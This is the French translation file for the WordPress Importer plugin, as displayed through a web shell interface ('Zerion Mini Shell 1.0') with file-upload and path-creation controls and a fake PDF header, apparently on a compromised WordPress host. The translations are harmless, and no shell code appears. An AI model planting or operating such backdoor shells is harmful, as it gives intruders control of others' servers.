%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/t/r/a/tradesc/www/albanie/wp-content/languages/plugins/
Upload File :
Create Path :
Current File : /home/t/r/a/tradesc/www/albanie/wp-content/languages/plugins/wordpress-importer-fr_FR.po

# Translation of Plugins - WordPress Importer - Stable (latest release) in French (France)
# This file is distributed under the same license as the Plugins - WordPress Importer - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2024-02-03 00:10:51+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: fr\n"
"Project-Id-Version: Plugins - WordPress Importer - Stable (latest release)\n"

#: class-wp-import.php:1190
msgid "The uploaded file could not be moved"
msgstr "Le fichier téléversé ne peut pas être déplacé"

#: class-wp-import.php:1175
msgid "Sorry, this file type is not permitted for security reasons."
msgstr "Désolé, ce type de fichier n’est pas autorisé pour des raisons de sécurité."

#: class-wp-import.php:1137
msgid "Downloaded file has incorrect size"
msgstr "Le fichier téléversé a une taille incorrecte"

#. translators: 1: The HTTP error message. 2: The HTTP error code.
#: class-wp-import.php:1113
msgid "Remote server returned the following unexpected result: %1$s (%2$s)"
msgstr "Le serveur distant a retourné le résultat inattendu suivant : %1$s (%2$s)"

#. translators: 1: The WordPress error message. 2: The WordPress error code.
#: class-wp-import.php:1097
msgid "Request failed due to an error: %1$s (%2$s)"
msgstr "Échec de la requête en raison d’une erreur : %1$s (%2$s)"

#: class-wp-import.php:1075
msgid "Could not create temporary file."
msgstr "Impossible de créer le fichier temporaire."

#: class-wp-import.php:242
msgid "To make it simpler for you to edit and save the imported content, you may want to reassign the author of the imported item to an existing user of this site, such as your primary administrator account."
msgstr "Pour faciliter l’édition et l’enregistrement du contenu importé, vous devriez réassigner l’élément importé à un compte existant tel que l’administrateur ou l’administratrice."

#. Author URI of the plugin
#: wordpress-importer.php
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

#. Author of the plugin
#: wordpress-importer.php
msgid "wordpressdotorg"
msgstr "wordpressdotorg"

#. Description of the plugin
#: wordpress-importer.php
msgid "Import posts, pages, comments, custom fields, categories, tags and more from a WordPress export file."
msgstr "Importez les articles, pages, commentaires, champs personnalisés, catégories, étiquettes et plus à partir d’un fichier d’export de WordPress."

#. Plugin URI of the plugin
#: wordpress-importer.php
msgid "https://wordpress.org/plugins/wordpress-importer/"
msgstr "https://wordpress.org/plugins/wordpress-importer/"

#. Plugin Name of the plugin
#: wordpress-importer.php
msgid "WordPress Importer"
msgstr "WordPress Importer"

#: wordpress-importer.php:63
msgid "Import <strong>posts, pages, comments, custom fields, categories, and tags</strong> from a WordPress export file."
msgstr "Importez les<strong>articles, pages, commentaires, champs personnalisés, catégories et étiquettes</strong> depuis un fichier d’exportation de WordPress."

#: class-wp-import.php:1335
msgid "Choose a WXR (.xml) file to upload, then click Upload file and import."
msgstr "Choisissez un fichier WXR (.xml) à téléverser, puis cliquez sur « Téléverser le fichier et l’importer »."

#: class-wp-import.php:1334
msgid "Howdy! Upload your WordPress eXtended RSS (WXR) file and we&#8217;ll import the posts, pages, comments, custom fields, categories, and tags into this site."
msgstr "Bonjour ! Téléversez votre fichier WordPress eXtended RSS (WXR) et nous nous chargeons d’en récupérer les articles, pages, commentaires, champs personnalisés, catégories et étiquettes pour les importer sur ce site."

#: class-wp-import.php:1319
msgid "A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files."
msgstr "Une nouvelle version de l’importateur est disponible. Veuillez le mettre à jour à la version %s pour assurer la compatibilité avec les fichiers d’exportation les plus récents."

#: class-wp-import.php:1312
msgid "Import WordPress"
msgstr "Importation depuis WordPress"

#: class-wp-import.php:1143
msgid "Remote file is too large, limit is %s"
msgstr "Le fichier distant est trop grand, la limite est de %s."

#: class-wp-import.php:1132
msgid "Zero size file downloaded"
msgstr "Le fichier téléversé a une taille nulle."

#: class-wp-import.php:1125
msgid "Remote server did not respond"
msgstr "Le serveur distant n’a pas répondu."

#: class-wp-import.php:1031
msgid "Invalid file type"
msgstr "Type de fichier non valide."

#: class-wp-import.php:1013
msgid "Fetching attachments is not enabled"
msgstr "La récupération des fichiers joints n’est pas activée."

#: class-wp-import.php:946
msgid "Menu item skipped due to invalid menu slug: %s"
msgstr "L’élément de menu n’a pas été ajouté car le slug du menu n’est pas valide : %s."

#: class-wp-import.php:939
msgid "Menu item skipped due to missing menu slug"
msgstr "L’élément de menu n’a pas été ajouté car le slug du menu est manquant."

#: class-wp-import.php:753
msgid "Failed to import %1$s &#8220;%2$s&#8221;"
msgstr "Impossible d’importer %1$s « %2$s »."

#: class-wp-import.php:676
msgid "%1$s &#8220;%2$s&#8221; already exists."
msgstr "%1$s « %2$s » existe déjà."

#: class-wp-import.php:635
msgid "Failed to import &#8220;%1$s&#8221;: Invalid post type %2$s"
msgstr "Impossible d’importer « %1$s » : %2$s est un type de publication invalide."

#: class-wp-import.php:544 class-wp-import.php:792
msgid "Failed to import %1$s %2$s"
msgstr "Impossible d’importer %1$s %2$s"

#: class-wp-import.php:483
msgid "Failed to import post tag %s"
msgstr "Impossible d’importer l’étiquette %s"

#: class-wp-import.php:432
msgid "Failed to import category %s"
msgstr "Impossible d’importer la catégorie %s"

#: class-wp-import.php:373
msgid "Failed to create new user for %s. Their posts will be attributed to the current user."
msgstr "Impossible de créer un nouveau compte pour %s. Leurs articles seront attribués au compte actuel."

#: class-wp-import.php:314
msgid "- Select -"
msgstr "- Sélectionner -"

#: class-wp-import.php:305
msgid "or assign posts to an existing user:"
msgstr "ou assigner les articles à un compte existant :"

#: class-wp-import.php:303
msgid "assign posts to an existing user:"
msgstr "assigner les articles à un compte existant :"

#: class-wp-import.php:293
msgid "as a new user:"
msgstr "en tant que nouveau compte :"

#: class-wp-import.php:290
msgid "or create new user with login name:"
msgstr "ou créer un nouveau compte avec l’identifiant :"

#: class-wp-import.php:275
msgid "Import author:"
msgstr "Importer l’auteur/autrice :"

#: class-wp-import.php:261
msgid "Submit"
msgstr "Envoyer"

#: class-wp-import.php:257
msgid "Download and import file attachments"
msgstr "Téléverser et importer les fichiers joints"

#: class-wp-import.php:254
msgid "Import Attachments"
msgstr "Importer les fichiers joints"

#: class-wp-import.php:244
msgid "If a new user is created by WordPress, a new password will be randomly generated and the new user&#8217;s role will be set as %s. Manually changing the new user&#8217;s details will be necessary."
msgstr "Si un nouveau compte est créé par WordPress, un nouveau mot de passe sera généré de façon aléatoire et le rôle du nouveau compte sera défini comme étant %s. Il faudra alors manuellement modifier ces détails."

#: class-wp-import.php:241
msgid "Assign Authors"
msgstr "Assigner les auteurs/autrices"

#: class-wp-import.php:213
msgid "Failed to import author %s. Their posts will be attributed to the current user."
msgstr "Impossible d’importer l’auteur/autrice %s. Ses articles seront attribués au compte actuel."

#: class-wp-import.php:188
msgid "This WXR file (version %s) may not be supported by this version of the importer. Please consider updating."
msgstr "Ce fichier WXR (version %s) n’est peut-être pas pris en charge par cette version de l’importateur. Veuillez le mettre à jour."

#: class-wp-import.php:172
msgid "The export file could not be found at <code>%s</code>. It is likely that this was caused by a permissions problem."
msgstr "Le fichier d’export est introuvable sur <code>%s</code>. Cela provient sans doute d’un problème d’autorisations."

#: class-wp-import.php:152
msgid "Remember to update the passwords and roles of imported users."
msgstr "N’oubliez pas de mettre à jour les mots de passe et les rôles des comptes importés."

#: class-wp-import.php:151
msgid "Have fun!"
msgstr "Amusez-vous bien !"

#: class-wp-import.php:151
msgid "All done."
msgstr "Terminé."

#: class-wp-import.php:108
msgid "The file does not exist, please try again."
msgstr "Ce fichier n’existe pas, veuillez réessayer."

#: class-wp-import.php:107 class-wp-import.php:116 class-wp-import.php:167
#: class-wp-import.php:171 class-wp-import.php:180
msgid "Sorry, there has been an error."
msgstr "Désolé, il y a eu une erreur."

#: parsers/class-wxr-parser-regex.php:102
#: parsers/class-wxr-parser-simplexml.php:46
#: parsers/class-wxr-parser-simplexml.php:52
#: parsers/class-wxr-parser-xml.php:106
msgid "This does not appear to be a WXR file, missing/invalid WXR version number"
msgstr "Cela ne semble pas être un fichier WXR, numéro de version WXR manquant ou non valide."

#: parsers/class-wxr-parser.php:46
msgid "Details are shown above. The importer will now try again with a different parser..."
msgstr "Les détails sont indiqués ci-dessus. L’importateur va maintenant réessayer avec un analyseur différent…"

#: parsers/class-wxr-parser-simplexml.php:33
#: parsers/class-wxr-parser-simplexml.php:41 parsers/class-wxr-parser.php:45
msgid "There was an error when reading this WXR file"
msgstr "Une erreur s’est produite lors de la lecture du fichier WXR."

Zerion Mini Shell 1.0